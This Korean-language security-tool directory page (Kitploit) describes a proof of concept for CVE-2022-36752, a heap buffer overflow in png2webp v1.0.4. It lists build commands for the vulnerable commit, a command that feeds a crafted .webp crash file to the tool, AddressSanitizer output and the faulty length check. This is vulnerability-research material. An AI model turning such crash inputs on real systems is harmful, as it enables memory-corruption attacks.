Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-36752 — CVE-2022-36752에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/halcy0nic/cve-2022-36752
Vulnerability AnalysisExploitationFuzzingBinary AnalysisPapers & ResearchLearning & Education
GitHubhalcy0nic/cve-2022-36752

CVE-2022-36752

CVE-2022-36752에 대한 개념 증명

저장소 보기
13년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-36752 설명

png2webp v1.0.4에서 w2p 함수를 통해 힙 버퍼 오버플로우(out-of-bounds write)가 발생하는 것으로 확인되었습니다. 이 취약점은 포맷을 PNG로 다시 변환할 때 조작된 webp 파일을 통해 악용될 수 있습니다.

재현

취약점을 재현하려면 취약한 버전의 png2webp(v1.0.4)를 다운로드하고 프로젝트를 컴파일하세요:

root@kitploit:~
git clone https://github.com/landfillbaby/png2webp.git
cd png2webp
git checkout 0c7119109cde91127a263bf0af252e5e730f7fba
git submodule update --init --depth 1
./configure && make

프로젝트가 컴파일되면, 본 리포지토리에 포함된 악성 .webp 파일(CVE-2022-36752_crash.webp)을 png2webp에 전달할 수 있습니다:

root@kitploit:~
./png2web -r CVE-2022-36752_crash.webp

위 명령은 크래시를 발생시키고 다음과 같은 오류 메시지를 반환합니다:

root@kitploit:~
corrupted size vs. prev_size

크래시가 발생하는 위치를 더 잘 이해하기 위해, Makefile의 CFLAGS 변수에 -fsanitize=address를 추가하여 주소 삭제기(ASAN)로 프로젝트를 재컴파일해 보겠습니다. 또한 컴파일러가 실행 파일에 심볼 테이블 정보를 저장하도록(-g 플래그) 하여 어떤 코드 줄이 크래시를 발생시켰는지 확인할 수 있습니다:

root@kitploit:~
ifeq (${uname_m},x86_64)
CFLAGS ?= -O3 -Wall -Wextra -pipe -flto=auto -DNDEBUG -march=x86-64-v2 -fsanitize=address -g

다음으로 오래된 파일을 정리하고 프로젝트를 재컴파일합니다:

root@kitploit:~
make clean
make

ASAN은 프로그램에서 크기 12의 유효하지 않은 쓰기(invalid write)를 보고하여 힙 버퍼 오버플로우 취약점의 존재를 확인합니다:

root@kitploit:~
==222970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x563e3ec4ee6a bp 0x7fff3a7b04d0 sp 0x7fff3a7b04c8
WRITE of size 12 at 0x602000000010 thread T0
    #0 0x563e3ec4ee69  (/dev/shm/png2webp/png2webp+0x23e69)
    #1 0x563e3ec3df34  (/dev/shm/png2webp/png2webp+0x12f34)
    #2 0x7fcfe4967189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7fcfe4967244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x563e3ec3e3f0  (/dev/shm/png2webp/png2webp+0x133f0)

0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
    #0 0x7fcfe4cae7cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x563e3ec46052  (/dev/shm/png2webp/png2webp+0x1b052)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/dev/shm/png2webp/png2webp+0x23e69) 
Shadow bytes around the buggy address:
  0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==222970==ABORTING

함수 w2p() 내 취약한 코드:

root@kitploit:~
  if(l < 12
#ifdef SSIZE_MAX
    || l - 12 > SSIZE_MAX
#endif
  ) {
    PF("ERROR reading %s: %s", IP, k[2]);
    goto w2p_close;
  }

참고 자료

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36752
  • https://cwe.mitre.org/data/definitions/787.html
도구 다운로드